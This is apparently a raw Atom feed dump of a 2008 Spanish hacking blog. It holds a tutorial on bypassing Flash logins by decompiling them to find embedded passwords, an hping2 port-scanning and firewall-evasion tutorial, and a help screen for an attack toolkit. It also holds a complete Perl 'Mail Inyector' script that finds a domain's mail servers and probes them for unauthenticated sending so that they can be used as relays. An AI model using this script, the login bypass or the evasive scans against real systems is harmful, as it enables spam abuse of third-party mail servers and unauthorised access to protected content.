ejemplo utilizare Flash Decompiler)&lt;/li&gt;&lt;li&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div align="center"&gt;&lt;span style="color: rgb(196, 0, 0);"&gt;&lt;b&gt;La Tecnica&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;Bueno lo primero es testear el flash como hicimos en la primera entrega de hacking login flash, si no aparesen datos en la pantalla de achilles y nos marca error de contrase?a, es por que la pass esta almasenada en el flash, en ese caso procedemos a crackear el flash, instalamos el Flash Decompiler (o el decompilador de flash que utilizen), y abrimos el flash&lt;br /&gt;En el menu de la derecha vamos a Scripts, en este caso son 10, bueno buscamos el script del boton que se encarga de comprovar la pass.&lt;br /&gt;&lt;br /&gt;Bueno hasta aqui tenemos 2 posibilidades 1 entrar directamente a la url que nos aparese o insertar la pass que nos aparese y que nos mande a esa url.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://img329.imageshack.us/img329/7396/scr48edfbyp5.png" alt="" border="0" height="600" width="800" /&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Se perdieron 2 imagenes, pero igualmente creo que es algo entendible...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-5609490725511032024?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/5609490725511032024/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=5609490725511032024' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/5609490725511032024'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/5609490725511032024'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2008/08/bypasseando-logins-flash.html' title='Bypasseando Logins Flash y Ajax'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-435483230982558991</id><published>2008-08-25T18:44:00.000-07:00</published><updated>2008-08-25T18:47:18.503-07:00</updated><title type='text'>LogicKey E-zine Primera Edicion</title><content type='html'>La Primera E-zine Donde Escribi...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://logickey.files.wordpress.com/2007/10/ezine.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px;" src="http://logickey.files.wordpress.com/2007/10/ezine.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.4shared.com/file/27781598/9a63560a/ezine.html"&gt;Descargar&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-435483230982558991?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/435483230982558991/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=435483230982558991' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/435483230982558991'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/435483230982558991'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2008/08/logickey-e-zine-primera-edicion.html' title='LogicKey E-zine Primera Edicion'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-5268968052576060248</id><published>2008-08-21T18:54:00.000-07:00</published><updated>2008-08-21T18:58:34.519-07:00</updated><title type='text'>Haciendo Trampa en Video Juegos</title><content type='html'>Este manual no esta enfocado a solo una consola. No es muy extenso, pero le agregare mas cuando tenga tiempo ;)...&lt;br /&gt;&lt;br /&gt;&lt;a href="http://docs.google.com/Doc?id=df3ckfs6_153c9s4c6hk" target="_blank"&gt;http://docs.google.com/Doc?id=df3ckfs6_153c9s4c6hk&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-5268968052576060248?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/5268968052576060248/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=5268968052576060248' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/5268968052576060248'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/5268968052576060248'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2008/08/haciendo-trampa-en-video-juegos.html' title='Haciendo Trampa en Video Juegos'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-6779423405268097044</id><published>2008-08-18T18:24:00.000-07:00</published><updated>2008-08-23T17:18:45.834-07:00</updated><title type='text'>Mail Inyector</title><content type='html'>&lt;span style="color: rgb(51, 255, 51);"&gt;&lt;span style="color: rgb(255, 255, 255); font-weight: bold;"&gt;Programe esta tool para filtrarse en los servidores de correo, esta tool puede detectar los servidores de correo de un dominio dado, intentar  logearse en SMTP y en POP3 SSL, enviar un mail, y revisar si dicho mensaje llega a la bandeja de entrada:&lt;/span&gt;&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;div align="center"&gt;&lt;pre style="overflow: auto; width: 450px; height: 300px;"&gt;&lt;div align="left"&gt;&lt;span style="font-size: 100%;"&gt;&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;&lt;br /&gt;# By Xianur0\n&lt;br /&gt;use LWP::UserAgent;&lt;br /&gt;use MIME::Base64::Perl;&lt;br /&gt;use XML::Simple;&lt;br /&gt;use Socket;&lt;br /&gt;use Net::DNS;&lt;br /&gt;use Net::SMTP::SSL;&lt;br /&gt;use Mail::POP3Client;&lt;br /&gt;use IO::Socket::SSL;&lt;br /&gt;&lt;br /&gt;my $user = $ARGV[0];&lt;br /&gt;my $password = $ARGV[1];&lt;br /&gt;my $web = $ARGV[2];&lt;br /&gt;my $servidor;&lt;br /&gt;$web = shift || &amp;uso;&lt;br /&gt;&lt;br /&gt;sub uso {&lt;br /&gt;print "[-]Uso: mailer.pl [Usuario Gmail] [Password Gmail] [Web]\n"; exit;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub gmail {&lt;br /&gt;my $cuenta = encode_base64("$user:$password");&lt;br /&gt;my $ua = LWP::UserAgent-&gt;new;&lt;br /&gt;my $req = HTTP::Request-&gt;new(GET =&gt; 'https://mail.google.com/mail/feed/atom');&lt;br /&gt;$req-&gt;content_type('application/x-www-form-urlencoded');&lt;br /&gt;$req-&gt;header('Authorization' =&gt; 'Basic '.$cuenta);&lt;br /&gt;my $res = $ua-&gt;request($req);&lt;br /&gt;if ($res-&gt;is_success) {&lt;br /&gt;open(XMLFILE,"&gt; gmail.xml") || die "No pudo abrirse: $!";&lt;br /&gt;print XMLFILE $res-&gt;content;&lt;br /&gt;close(XMLFILE);&lt;br /&gt;&amp;xmlleer;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub xmlleer {&lt;br /&gt;my $gmail = XMLin("gmail.xml");&lt;br /&gt;for($gmail-&gt;{entry}) {&lt;br /&gt;if($_-&gt;{title} =~ 'servidor de correo bypasseado :D') {&lt;br /&gt;print "\n[-]Felicidades! Tienes un mailer :D!...\n";&lt;br /&gt;}&lt;br /&gt;else { print "[-]El Mensaje no ha llegado a la bandeja de entrada....\n";}&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub enviar {&lt;br /&gt;socket(SOCKET,PF_INET,SOCK_STREAM,(getprotobyname('tcp'))[2]);&lt;br /&gt;if(connect( SOCKET, pack( 'Sn4x8', AF_INET, 25, $servidor ))) {&lt;br /&gt;print "[-]Conectado a $servidor, Enviando Paquete....\n";&lt;br /&gt;print SOCKET "HELO $web";&lt;br /&gt;print SOCKET 'MAIL FROM: xianur0.hacked@level-23.com';&lt;br /&gt;print SOCKET "RCPT TO: ".$user.'@gmail.com';&lt;br /&gt;print SOCKET 'DATA';&lt;br /&gt;print SOCKET 'Subject: servidor de correo bypasseado :D';&lt;br /&gt;print SOCKET 'From: xianur0.hacked@level-23.com';&lt;br /&gt;print SOCKET "To: $user";&lt;br /&gt;print SOCKET "Servidor de Correo Bypasseado\ndominio: $web\n.";&lt;br /&gt;print SOCKET 'quit';&lt;br /&gt;close SOCKET;&lt;br /&gt;print "[-]Paquete Enviado!\n";&lt;br /&gt;&amp;gmail;&lt;br /&gt;}&lt;br /&gt;else {print "[-]Servidor $servidor Puerto 25 filtrado...\n"; }&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub MX {&lt;br /&gt;my $consulta   = Net::DNS::Resolver-&gt;new;&lt;br /&gt;my $consulta = $consulta-&gt;query($web, "MX");&lt;br /&gt;if ($consulta) {&lt;br /&gt;print "[-]Servidores MX:\n";&lt;br /&gt;  foreach $array (grep { $_-&gt;type eq 'MX' } $consulta-&gt;answer) {&lt;br /&gt;$mailers = $array-&gt;string;&lt;br /&gt;my @datos = split(" ", $mailers);&lt;br /&gt;$servidor = pop(@datos);&lt;br /&gt;chop($servidor);&lt;br /&gt;print $servidor."\n";&lt;br /&gt;&amp;enviar;&lt;br /&gt;&amp;smtps;&lt;br /&gt;  }&lt;br /&gt;} else {print "[-]No Se Encontro Servidor de Correo Asociado!\n";}&lt;br /&gt;print "\n\n";&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub smtps {&lt;br /&gt;my $user = '';&lt;br /&gt;my $pass = '';&lt;br /&gt;my $to         = $user.'@gmail.com';&lt;br /&gt;my $from_email = 'xianur0.hacked@level-23.com';&lt;br /&gt;my $subject    = 'servidor de correo bypasseado :D';&lt;br /&gt;my $smtps = Net::SMTP::SSL-&gt;new($servidor,&lt;br /&gt;                           Port =&gt; 465,&lt;br /&gt;                           DEBUG =&gt; 1,&lt;br /&gt;                           ) or die "Servidor $servidor Puerto 465 Filtrado...\n";&lt;br /&gt;defined ($smtps-&gt;auth($user, $pass))&lt;br /&gt;or die "[-]Servidor $servidor Puerto 465 Con Password...\n";&lt;br /&gt;print "\n[-]Servidor SMTPS Sin Password Detectado: $servidor\n";&lt;br /&gt;$smtps-&gt;mail($from_email);&lt;br /&gt;$smtps-&gt;to($to);&lt;br /&gt;$smtps-&gt;data();&lt;br /&gt;$smtps-&gt;datasend("To: $to\n");&lt;br /&gt;$smtps-&gt;datasend(qq^From: "$from_email\n^);&lt;br /&gt;$smtps-&gt;datasend("Subject: $subject\n\n");&lt;br /&gt;$smtps-&gt;datasend("Servidor de Correo Bypasseado\nServidor: $servidor\n");&lt;br /&gt;$smtps-&gt;dataend();&lt;br /&gt;$smtps-&gt;quit();&lt;br /&gt;print "[-]Mensaje Enviado!\n";&lt;br /&gt;select(undef, undef, undef, 10);&lt;br /&gt;&amp;gmail;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&amp;MX;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 255, 255);"&gt;A mis necesidades le programe que revisara si el mail llego a la bandeja de entrada, pero pueden editar el codigo para lo que mas les convenga.&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-6779423405268097044?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/6779423405268097044/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=6779423405268097044' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/6779423405268097044'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/6779423405268097044'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2008/08/mail-tester.html' title='Mail Inyector'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-467100031307085246</id><published>2008-08-18T18:18:00.000-07:00</published><updated>2008-08-19T17:22:16.704-07:00</updated><title type='text'>Tutorial Hping</title><content type='html'>Hping es una exelente herramienta de tipo generador de paquetes TCP, UDP, ICMP, etc. Que nos Permite hacer inumerables cosas, entre ellas, testear firewalls, scannear puertos (mediante flags), Os Fingerprint, Traceo de rutas, e incluso D.o.Seador, Hping2 es una utilidad principalmente creada para auditar redes, y realmente cumple su cometido y mas jajaja.....&lt;br /&gt;&lt;br /&gt;para comenzar el comando &lt;b&gt;hping -h&lt;/b&gt; nos devuelve la lista de comandos (opciones):&lt;br /&gt;&lt;br /&gt;&lt;div class="codeheader"&gt;Code:&lt;/div&gt;&lt;div class="code"&gt;&lt;pre style="margin-top: 0pt; display: inline;"&gt;usage: hping host [options]&lt;br /&gt;-h  --help      show this help&lt;br /&gt;-v  --version   show version&lt;br /&gt;-c  --count     packet count&lt;br /&gt;-i  --interval  wait (uX for X microseconds, for example -i u1000)&lt;br /&gt;   --fast      alias for -i u10000 (10 packets for second)&lt;br /&gt;-n  --numeric   numeric output&lt;br /&gt;-q  --quiet     quiet&lt;br /&gt;-I  --interface interface name (otherwise default routing interface)&lt;br /&gt;-V  --verbose   verbose mode&lt;br /&gt;-D  --debug     debugging info&lt;br /&gt;-z  --bind      bind ctrl+z to ttl           (default to dst port)&lt;br /&gt;-Z  --unbind    unbind ctrl+z&lt;br /&gt;Mode&lt;br /&gt;default mode     TCP&lt;br /&gt;-0  --rawip      RAW IP mode&lt;br /&gt;-1  --icmp       ICMP mode&lt;br /&gt;-2  --udp        UDP mode&lt;br /&gt;-8  --scan       SCAN mode.&lt;br /&gt;                Example: hping --scan 1-30,70-90 -S www.target.host&lt;br /&gt;-9  --listen     listen mode&lt;br /&gt;IP&lt;br /&gt;-a  --spoof      spoof source address&lt;br /&gt;--rand-dest      random destionation address mode. see the man.&lt;br /&gt;--rand-source    random source address mode. see the man.&lt;br /&gt;-t  --ttl        ttl (default 64)&lt;br /&gt;-N  --id         id (default random)&lt;br /&gt;-W  --winid      use win* id byte ordering&lt;br /&gt;-r  --rel        relativize id field          (to estimate host traffic)&lt;br /&gt;-f  --frag       split packets in more frag.  (may pass weak acl)&lt;br /&gt;-x  --morefrag   set more fragments flag&lt;br /&gt;-y  --dontfrag   set dont fragment flag&lt;br /&gt;-g  --fragoff    set the fragment offset&lt;br /&gt;-m  --mtu        set virtual mtu, implies --frag if packet size &gt; mtu&lt;br /&gt;-o  --tos        type of service (default 0x00), try --tos help&lt;br /&gt;-G  --rroute     includes RECORD_ROUTE option and display the route buffer&lt;br /&gt;--lsrr           loose source routing and record route&lt;br /&gt;--ssrr           strict source routing and record route&lt;br /&gt;-H  --ipproto    set the IP protocol field, only in RAW IP mode&lt;br /&gt;ICMP&lt;br /&gt;-C  --icmptype   icmp type (default echo request)&lt;br /&gt;-K  --icmpcode   icmp code (default 0)&lt;br /&gt;   --force-icmp send all icmp types (default send only supported types)&lt;br /&gt;   --icmp-gw    set gateway address for ICMP redirect (default 0.0.0.0)&lt;br /&gt;   --icmp-ts    Alias for --icmp --icmptype 13 (ICMP timestamp)&lt;br /&gt;   --icmp-addr  Alias for --icmp --icmptype 17 (ICMP address subnet mask)&lt;br /&gt;   --icmp-help  display help for others icmp options&lt;br /&gt;UDP/TCP&lt;br /&gt;-s  --baseport   base source port             (default random)&lt;br /&gt;-p  --destport   [+][+]&lt;port&gt; destination port(default 0) ctrl+z inc/dec&lt;br /&gt;-k  --keep       keep still source port&lt;br /&gt;-w  --win        winsize (default 64)&lt;br /&gt;-O  --tcpoff     set fake tcp data offset     (instead of tcphdrlen / 4)&lt;br /&gt;-Q  --seqnum     shows only tcp sequence number&lt;br /&gt;-b  --badcksum   (try to) send packets with a bad IP checksum&lt;br /&gt;                many systems will fix the IP checksum sending the packet&lt;br /&gt;                so you'll get bad UDP/TCP checksum instead.&lt;br /&gt;-M  --setseq     set TCP sequence number&lt;br /&gt;-L  --setack     set TCP ack&lt;br /&gt;-F  --fin        set FIN flag&lt;br /&gt;-S  --syn        set SYN flag&lt;br /&gt;-R  --rst        set RST flag&lt;br /&gt;-P  --push       set PUSH flag&lt;br /&gt;-A  --ack        set ACK flag&lt;br /&gt;-U  --urg        set URG flag&lt;br /&gt;-X  --xmas       set X unused flag (0x40)&lt;br /&gt;-Y  --ymas       set Y unused flag (0x80)&lt;br /&gt;--tcpexitcode    use last tcp-&gt;th_flags as exit code&lt;br /&gt;--tcp-timestamp  enable the TCP timestamp option to guess the HZ/uptime&lt;br /&gt;Common&lt;br /&gt;-d  --data       data size                    (default is 0)&lt;br /&gt;-E  --file       data from file&lt;br /&gt;-e  --sign       add 'signature'&lt;br /&gt;-j  --dump       dump packets in hex&lt;br /&gt;-J  --print      dump printable characters&lt;br /&gt;-B  --safe       enable 'safe' protocol&lt;br /&gt;-u  --end        tell you when --file reached EOF and prevent rewind&lt;br /&gt;-T  --traceroute traceroute mode              (implies --bind and --ttl 1)&lt;br /&gt;--tr-stop        Exit when receive the first not ICMP in traceroute mode&lt;br /&gt;--tr-keep-ttl    Keep the source TTL fixed, useful to monitor just one hop&lt;br /&gt;--tr-no-rtt       Don't calculate/show RTT information in traceroute mode&lt;br /&gt;ARS packet description (new, unstable)&lt;br /&gt;--apd-send       Send the packet described with APD (see docs/APD.txt)&lt;br /&gt;&lt;/port&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;como podran leer el uso de la herramienta es hping ip_o_host y la(s) opciones a utilizar.&lt;br /&gt;&lt;br /&gt;Primero que nada explicare que es un flag, aunque los que hayan leeido sobre protocolos no sera ninguna novedad....&lt;br /&gt;&lt;br /&gt;Un flag es una especie de comando, que se incluye en paquetes, que especifica acciones, por ejemplo, preguntar si podemos conectar (sincronizar), contestar que esta abierto determinado puerto, comenzar conexion, terminar conexion e incluso enviar datos y especificar la importancia de dichos datos, cave recalcar que dichos flags o banderas.&lt;br /&gt;&lt;br /&gt;En TCP todo esta manejado por paquetes, asi que les recomiendo que vean el siguiente video tutorial que encontre en youtube:&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;a href="http://www.youtube.com/watch?v=muh9u_F5oeg" target="_blank"&gt;http://www.youtube.com/watch?v=muh9u_F5oeg&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Algo Basico pero igual sirve para entender la teoria de como funciona esto....&lt;br /&gt;ahora enumeremos los principales flags (banderas) TCP:&lt;br /&gt;&lt;br /&gt;SYN: Le dice al servidor a conectar que intentamos conectar o sincronizar.&lt;br /&gt;ACK: es una cofirmacion de que los datos anteriores llegaron correctamente.&lt;br /&gt;FIN: Le dice al servidor que queremos cerrar una conexion.&lt;br /&gt;Null: un flag de valor nulo (0) o sea que es un paquete al que se le ah eliminado todos los flags, este paquete es enviado con el fin de optener un RST ACK o un SYN ACK.&lt;br /&gt;RST: Significa Reset, o sea que reinicie la conexion por que ubo algun error, que estan filtrados los flags o que esta cerrado el puerto.&lt;br /&gt;PSH: Cuando deseamos enviar una cantidad de información grande dividida en paquetes, éstos se van&lt;br /&gt;situando en un buffer de transmisión FIFO (First In First Out) hasta que el último de ellos está preparado.&lt;br /&gt;Este último paquete tiene activado el flag push e indica que se debe vaciar el buffer y comenzar el envío&lt;br /&gt;de paquetes.&lt;br /&gt;URG: significa urgente y quiere decir que enviamos un paquete con datos urgentes, tambien se pueden usar punteros para enviar datos urgentes con normales.&lt;br /&gt;&lt;br /&gt;Espero ando que no se me aya pasado nada, continuamos:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;ICMP (Internet Control Message Protocol)&lt;/b&gt; es un protocolo bastante simple que está orientado a fines&lt;br /&gt;informativos o de control de errores.&lt;br /&gt;&lt;b&gt;&lt;br /&gt;Mensaje ICMP:&lt;/b&gt;&lt;br /&gt;0=echo reply&lt;br /&gt;3=destination unreachable&lt;br /&gt;4=source quench&lt;br /&gt;5=redirect&lt;br /&gt;8=echo&lt;br /&gt;11=time exceeded&lt;br /&gt;12=parameter problem&lt;br /&gt;13=timestamp&lt;br /&gt;14=timestamp reply&lt;br /&gt;15=information request&lt;br /&gt;16=information reply&lt;br /&gt;Supongo que se entiende no?...&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Continuamos:&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;Para hacer mas entendible el tema vamos a la practica:&lt;/b&gt;&lt;br /&gt;Para comenzar utilizaremos a hping2 como un scanner de puertos basado en flags, esto es algo avanzado y laborioso pero optenemos exelentes resultados &lt;img src="http://uf.yethost.com/Smileys/default/cheesy.gif" alt="cheesy" border="0" /&gt;....&lt;br /&gt;&lt;br /&gt;En este ejemplo utilizare el hping2 el cual es la version mas resiente (o la mas resiente que encontre xD).&lt;br /&gt;&lt;br /&gt;&lt;div class="quoteheader"&gt;Quote&lt;/div&gt;&lt;div class="quote"&gt;&lt;span style="color:red;"&gt;BT &lt;/span&gt;&lt;span style="color:blue;"&gt;~ #&lt;/span&gt; hping2 -c 1 -S -p 80 google.com&lt;br /&gt;HPING google.com (eth0 64.233.187.99): S set, 40 headers + 0 data bytes&lt;br /&gt;len=46 ip=64.233.187.99 ttl=241 id=30495 sport=80 flags=SA seq=0 win=8190 rtt=128.4 ms&lt;/div&gt;&lt;b&gt;&lt;br /&gt;Vamos por partes:&lt;/b&gt;&lt;br /&gt;-c 1: cuenta los paquetes.&lt;br /&gt;-S: especifica que utilizaremos paquetes con flags SYN.&lt;br /&gt;-p 80: especifica el puerto en este caso 80 (HTTP).&lt;br /&gt;Ahora la respuesta:&lt;br /&gt;ip=64.233.187.99: es la io que resolvio hping2.&lt;br /&gt;ttl=241: Time to Alive.&lt;br /&gt;sport=80: el puerto.&lt;br /&gt;flags=SA: Esto es lo que nos interesa, SA significa que envio un paquete con los flags SYN y ACK, lo cual quiere decir, que nuestro paquete llego correctamente y que el puerto esta abierto &lt;img src="http://uf.yethost.com/Smileys/default/cheesy.gif" alt="cheesy" border="0" /&gt;.&lt;br /&gt;&lt;b&gt;Ahora un ejemplo de puerto cerrado:&lt;/b&gt;&lt;br /&gt;&lt;div class="quoteheader"&gt;Quote&lt;/div&gt;&lt;div class="quote"&gt;&lt;span style="color:red;"&gt;BT &lt;/span&gt;&lt;span style="color:blue;"&gt;~ #&lt;/span&gt; hping2 -c 1 -S -p 20 192.168.1.254&lt;br /&gt;HPING 192.168.1.254 (eth0 192.168.1.254): S set, 40 headers + 0 data bytes&lt;br /&gt;len=51 ip=192.168.1.254 ttl=255 DF id=55848 sport=20 flags=RA seq=0 win=0 rtt=0.6 ms&lt;br /&gt;&lt;br /&gt;--- 192.168.1.254 hping statistic ---&lt;br /&gt;1 packets tramitted, 1 packets received, 0% packet loss&lt;br /&gt;round-trip min/avg/max = 0.6/0.6/0.6 ms&lt;br /&gt;&lt;/div&gt;Ahora como podremos darnos cuenta aqui cambio el flag:&lt;br /&gt;flags=RA&lt;br /&gt;En este caso resivimos RST y ACK o sea que el puerto esta cerrado...&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Ahora vamos por un puerto filtrado:&lt;/b&gt;&lt;br /&gt;En este caso es simple, por que no resiviremos respuesta jajajaja.&lt;br /&gt;&lt;br /&gt;Ahora cabe especificar que no solo podemos utilizar el flag SYN para esto, lo cual es muy util, ya que algunas flags, estan filtradas por el firewall, router, o incluso una configuracion del iptables en un entorno linux, por lo cual estan otras opciones:&lt;br /&gt;&lt;b&gt;&lt;br /&gt;-F  --fin        set FIN flag&lt;br /&gt;-S  --syn        set SYN flag&lt;br /&gt;-R  --rst        set RST flag&lt;br /&gt;-P  --push       set PUSH flag&lt;br /&gt;-A  --ack        set ACK flag&lt;br /&gt;-U  --urg        set URG flag&lt;br /&gt;-X  --xmas       set X unused flag (0x40)&lt;br /&gt;-Y  --ymas       set Y unused flag (0x80)&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Tipo de Scanneos:&lt;/b&gt;&lt;br /&gt;ACK: Este es utilizado para saber si el server esta detras de un firewall, o si el puerto(s), estan filtrados.&lt;br /&gt;Si obtenemos un ACK el puerto esta abierto o cerrado, y si no resivimos respuesta el puerto esta filtrado (probablemente detras de un firewall).&lt;br /&gt;SYN: este es utilizado para detectar si un puerto esta abierto o cerrado.&lt;br /&gt;FIN: este sirve para detectar puertos abiertos entre otras cosas, si resivimos un RS ACK, esta cerrado el puerto, si no recivimos nada, es que el puerto esta filtrado o como dije arriba detras de un firewall, router, modem, etc, que estorban el envio del paquete.&lt;br /&gt;otra clase de scanneos es el que no lleba ningun flag, tambien es bastante efectivo, y tambien el scanneo mediante todos los flags, que a mi pareser es el menos efectivo, ya que rara vez responden el paquete...&lt;br /&gt;&lt;b&gt;&lt;br /&gt;Scanneo de Puertos multiples:&lt;/b&gt;&lt;br /&gt;la sintaxis es simple:&lt;br /&gt;&lt;div class="quoteheader"&gt;Quote&lt;/div&gt;&lt;div class="quote"&gt;&lt;span style="color:red;"&gt;BT &lt;/span&gt;&lt;span style="color:blue;"&gt;~ #&lt;/span&gt; hping2 -l eth0 -S xxx.xxx.xxx.xxx -p ++80&lt;/div&gt;es basicamente la sintaxis de los anteriores scanneres solo que al numero de puerto se le agregan los simbolos "++" antes del numero, ademas como podran observar aqui le especifique el adaptador de red a utilizar (es descartable esto).&lt;br /&gt;&lt;b&gt;&lt;br /&gt;Otra forma de scanneo multiple:&lt;/b&gt;&lt;br /&gt;&lt;div class="quoteheader"&gt;Quote&lt;/div&gt;&lt;div class="quote"&gt;&lt;span style="color:red;"&gt;BT &lt;/span&gt;&lt;span style="color:blue;"&gt;~ #&lt;/span&gt; hping2 -V -8 '20-80' -S xxx.xxx.xxx.xx&lt;/div&gt;Este tipo de scanneo es por medio de rangos de puertos, en esta forma utilize el -V (modo verboso), -8 (el modo de scanner, tambien es remplazable por --scan, y utilizo el flag SYN para scannear, que como ya dije arriba se puede cambiar por los otros tipos de scanneo (dependiendo de lo que queremos hacer).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Solo queda probar, asi incluso podemos saltar algunas protecciones de firewalls, routers, o configuraciones de seguridad.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-467100031307085246?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/467100031307085246/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=467100031307085246' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/467100031307085246'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/467100031307085246'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2008/08/hping.html' title='Tutorial Hping'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-7123031809688497186</id><published>2008-08-18T13:33:00.001-07:00</published><updated>2008-10-20T16:54:25.917-07:00</updated><title type='text'>DNS Hunter Fenix 1.0</title><content type='html'>&lt;b&gt;Pantalla de ayuda:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="codeheader"&gt;Código:&lt;/div&gt;&lt;div class="code"&gt;&lt;pre style="margin-top: 0pt; display: inline;"&gt;                                ..::DNS Hunter By Xianur0 Version Fenix (Privada)::..&lt;br /&gt;&lt;br /&gt;[-]Uso: dns.pl [dominio] [opciones]&lt;br /&gt;Opciones:&lt;br /&gt;-t HTTP AttackToolKit&lt;br /&gt;-u Buscar Actualizaciones&lt;br /&gt;-w Ataque Whois&lt;br /&gt;-d Ataque DNS&lt;br /&gt;-a Ejecuta Todo lo Anterior&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br 